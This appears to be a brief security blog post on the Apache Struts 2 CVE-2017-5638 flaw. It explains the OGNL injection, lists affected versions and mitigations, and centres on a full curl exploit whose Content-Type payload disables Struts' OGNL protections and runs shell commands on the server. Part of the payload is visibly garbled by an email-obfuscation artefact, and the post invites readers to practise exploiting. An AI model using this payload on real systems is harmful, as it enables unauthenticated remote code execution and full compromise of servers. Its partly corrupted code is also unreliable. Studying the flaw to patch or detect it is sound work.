Listen to this Post
The CVE-2017-5638 vulnerability in Apache Struts 2 stems from flawed error handling within the Jakarta Multipart parser. When a malicious Content-Type header is sent in an HTTP request to a Struts2-based application, the parser attempts to generate an error message. This message is constructed using a flawed Object-Graph Navigation Language (OGNL) expression. The attacker’s crafted header injects a malicious OGNL expression directly into this error message. OGNL is a powerful expression language that can execute arbitrary Java code on the server. Since the parser evaluates the injected expression during the error generation process, it allows an unauthenticated remote attacker to achieve full command execution with the privileges of the Struts2 application server. This bypasses all security controls and grants complete control over the affected system.
Platform: Apache Struts
Version: 2.3.5 – 2.3.31, 2.5 – 2.5.10
Vulnerability: Remote Code Execution
Severity: Critical
date: 2017-03-07
Prediction: Patch released 2017-03-06
What Undercode Say:
`curl -H “Content-Type: %{(_=’multipart/form-data’).([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context[‘com.opensymphony.xwork2.ActionContext.container’]).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd=’id’).(iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(cmds=(iswin?{‘cmd.exe’,’/c’,cmd}:{‘/bin/bash’,’-c’,cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}” http://target-host.com/struts2-endpoint`
How Exploit:
Malicious HTTP Request
Content-Type Header Injection
OGNL Expression Evaluation
Protection from this CVE
Apply Struts Patch
Upgrade Struts Version
WAF Filtering Headers
Impact:
Remote Code Execution
Full System Compromise
Data Breach
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
